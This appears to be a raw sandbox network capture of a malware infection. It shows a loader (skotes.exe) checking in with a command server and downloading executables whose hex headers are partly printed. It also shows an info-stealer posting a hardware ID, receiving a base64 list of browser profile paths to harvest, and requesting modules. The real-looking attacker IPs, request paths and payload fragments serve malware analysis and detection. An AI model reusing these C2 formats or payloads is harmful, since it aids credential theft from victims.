Dec 20, 2024 11:12:29.882982016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:29 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Fri, 20 Dec 2024 09:13:31 GMT Connection: keep-alive ETag: "6765353b-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 44 48 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0ODH,@M$a$$ $h@.rsrc$x@.idata $z@vtjslccq0$&\|@bxwwdnnmN+@.taggant0O"+@
Dec 20, 2024 11:12:29.883050919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:29.883089066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:29.883124113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:29.883178949 CET	1236	IN	Data Raw: 10 5f d8 2e 52 17 f3 cb 12 24 34 43 20 dc 96 ec cd f8 5a e2 51 d4 a1 b2 f9 dc d2 11 ee 58 cb dd e1 96 c3 c4 d1 8e bb ec 2c 32 ae 70 33 be 99 be 49 bc ab c2 45 4c 9b fe 1d dc 8e 9b b8 ed 82 8b 0e e0 76 9a 06 5a cb c2 10 04 9f 1a f6 fc 5a c3 d3 bd Data Ascii: _.R$4C ZQX,2p3IELvZZt5I ;lKm[F(3":%;Q+1XwQp[-jDFHjFWnU]TYrEt&gSa_u-MmSn52d_b\`#
Dec 20, 2024 11:12:29.883212090 CET	1236	IN	Data Raw: e3 b4 99 86 ef cc cf cb 0e dd dd 1f 7a 11 30 34 43 f4 16 7c e0 bc 66 b3 98 bb 76 56 df ec 09 94 85 36 5c 81 d6 3b 3a f3 34 2f 73 44 aa 33 5b ee fc 6f 5c 5d b7 13 f6 f2 d8 77 61 ac 40 de a8 35 96 25 98 62 56 4b 5c 11 3e 4d 99 3d 1e 3c 5b 2f 5f db Data Ascii: z04C\|fvV6\;:4/sD3[o\]wa@5%bVK\>M=<[/_g+Q??X0ZoqYuCEHxn=ZVm=_/$?8+n7Yo.,!3r^I;atI;$q'\VI^@<rxn**
Dec 20, 2024 11:12:29.883249044 CET	1236	IN	Data Raw: 0f 27 c3 2e e4 54 74 5a 56 e6 60 bb de f5 13 ad e3 78 64 42 0f 45 4b c8 1f 16 0b bc 91 dc 76 4a 26 b6 70 50 97 24 23 c1 a9 58 75 c2 59 19 1f 04 dc c2 e1 c3 d5 f4 e6 de 3e e8 05 c8 af 98 6b ca 17 fc 68 be 89 45 7b 47 e4 9e ab e2 e3 e4 a2 2e fa 5d Data Ascii: '.TtZV`xdBEKvJ&pP$#XuY>khE{G.]1zL}E.OhcZ].u&SUb~I</rBiN?[Rz5Z=y`d nX~2,;o^D>),d[n[\|(Uj$fFrR#a\|
Dec 20, 2024 11:12:29.883285999 CET	1000	IN	Data Raw: d5 0f 69 e7 6f 00 3b 37 57 7b 5b c6 70 5b 3f f5 1d ea 62 0e 56 65 9e af d6 44 5b c0 4d 19 b3 b2 3b 4f f4 31 de e5 92 c3 71 58 95 be f6 36 c4 be 85 ea 73 76 d6 ec dd 3a 1a 68 bc d2 ad ea 94 a6 df 84 e0 d3 03 2f 5b c2 fa 71 7b 0c 1e 28 c4 ca 71 16 Data Ascii: io;7W{[p[?bVeD[M;O1qX6sv:h/[q{(q ].[dGw2.f6t.WK26Wm\W,lx~:-bk(s$iR2Nk4vdii^~2v]dX
Dec 20, 2024 11:12:29.883357048 CET	1236	IN	Data Raw: e6 e1 09 86 f6 54 6c ec 59 e5 72 35 3e 5e 9c 92 66 16 69 52 de 10 e1 32 b8 e0 d8 ec 85 f5 1a b3 7d 5d e4 7e 48 3d b7 17 73 d7 2a b3 e8 c0 d8 92 8c e0 df be 8e 0d 66 be 79 1e 23 1c d7 7c 5f c3 a4 fc 94 c0 fd e5 1e b3 5f 5e 64 31 1b 18 30 b3 e6 5c Data Ascii: TlYr5>^fiR2}]~H=sfy#\|__^d10\R[73Y>x]\w$lX]-K[nEtJ^[8^>uB,[.$/o/_tZ8g*u,tDX?hT{ 9)d
Dec 20, 2024 11:12:29.883394003 CET	1236	IN	Data Raw: aa 10 95 1e 12 1d c3 ee 58 9b d7 0e 26 84 9c cc 17 02 67 d6 ee 85 73 47 f0 38 9d fa 3d ea c6 4a 3c 6f 56 3b dc 19 cf b2 e6 5c 98 72 d8 19 d5 d9 11 68 75 4a de 64 dc 33 3a 1c 69 56 52 16 0b cc dd e4 a8 35 e3 dc 77 c0 dd b0 db 62 12 14 77 6c 69 c8 Data Ascii: X&gsG8=J<oV;\rhuJd3:iVR5wbwlif[g~pXi\Y(t:^g&+?tZ+XlvAs,c2bg]bX8g]Bb.R
Dec 20, 2024 11:12:30.003271103 CET	1236	IN	Data Raw: ce c2 16 43 de 1c 2b b4 72 7f 85 19 8e c9 f1 40 5e 67 08 70 d3 8f 96 e0 d4 c7 c0 d6 dd ac ba 04 8c da d8 9a 4f 75 32 ec d4 61 bf 1c 65 e8 e7 0e d4 ea 97 52 00 56 56 2d d4 25 a5 d2 2e c4 a9 95 11 c8 03 f7 4f 35 63 12 d1 39 99 76 4f 6b 07 35 de 29 Data Ascii: C+r@^gpOu2aeRVV-%.O5c9vOk5)nj=DX:n$Yg~y:DyigVg7Gw`#/r_-F`=~_MG("oPr%`'t8Cg02GbLj~O^rRUu-n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49839	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:36.957672119 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018429001&unit=246122658369
Dec 20, 2024 11:12:38.289226055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49845	185.215.113.16	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:38.467650890 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 20, 2024 11:12:39.770075083 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:38 GMT Content-Type: application/octet-stream Content-Length: 973824 Last-Modified: Fri, 20 Dec 2024 09:11:05 GMT Connection: keep-alive ETag: "676534a9-edc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9a 34 65 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL4eg",w@@@@@d\|@(pu4@.text `.rdata@@.datalpH@.rsrc(p@r@@.relocuvf@B
Dec 20, 2024 11:12:39.770181894 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 20, 2024 11:12:39.770198107 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 20, 2024 11:12:39.770214081 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Dec 20, 2024 11:12:39.770231962 CET	1236	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Dec 20, 2024 11:12:39.770247936 CET	1236	IN	Data Raw: 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 8b 7d 08 8d 45 ff 50 8d 45 f8 c7 45 Data Ascii: huIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M
Dec 20, 2024 11:12:39.770265102 CET	1236	IN	Data Raw: 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 0f 84 72 05 04 00 83 e8 01 0f 84 14 Data Ascii: 99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE
Dec 20, 2024 11:12:39.770374060 CET	1236	IN	Data Raw: ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 d5 01 00 59 ff 75 08 8b f0 8b ce e8 Data Ascii: tO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}
Dec 20, 2024 11:12:39.770391941 CET	776	IN	Data Raw: a3 94 13 4d 00 ff 15 20 c7 49 00 a3 08 19 4d 00 8d 45 f4 50 c7 45 f4 08 00 00 00 c7 45 f8 3b 01 00 00 ff 15 ac c0 49 00 6a 01 6a 01 6a 21 6a 10 6a 10 ff 15 b0 c0 49 00 68 a9 00 00 00 ff 35 04 19 4d 00 a3 5c 19 4d 00 ff 15 34 c7 49 00 50 6a ff ff Data Ascii: M IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=_^UX`dMVuWG~"uQVqYPVw
Dec 20, 2024 11:12:39.770409107 CET	1236	IN	Data Raw: e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b Data Ascii: f@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLH
Dec 20, 2024 11:12:39.890016079 CET	1236	IN	Data Raw: 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 00 00 80 ff Data Ascii: T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49846	185.215.113.206	80	7808	C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:38.722974062 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 11:12:40.040496111 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 11:12:40.042686939 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 30 33 36 31 36 45 43 34 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"7803616EC4693196934881------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"stok------JKJEHJKJEBGHJJKEBGIE--
Dec 20, 2024 11:12:40.492352962 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 44 6c 6b 4e 32 51 78 59 6a 6c 6a 4d 6d 4d 79 59 32 51 78 59 6a 55 78 59 6a 42 6b 4d 6a 59 77 4d 54 5a 6a 4f 54 52 6d 4f 54 6c 6d 59 7a 51 31 59 57 55 78 59 57 46 6b 5a 6a 42 6c 4f 57 59 33 4d 7a 63 30 4f 54 67 77 4d 54 55 30 4d 6a 4a 6b 4e 44 6b 78 59 32 55 33 4d 54 67 30 4e 32 55 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NDlkN2QxYjljMmMyY2QxYjUxYjBkMjYwMTZjOTRmOTlmYzQ1YWUxYWFkZjBlOWY3Mzc0OTgwMTU0MjJkNDkxY2U3MTg0N2UzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 20, 2024 11:12:40.496879101 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"browsers------HJDHCFCBGIDGHJJKJJDG--
Dec 20, 2024 11:12:40.936323881 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 20, 2024 11:12:40.936460018 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 20, 2024 11:12:40.937783957 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="message"plugins------KKFCFBKFCFBFIDGCGDHJ--
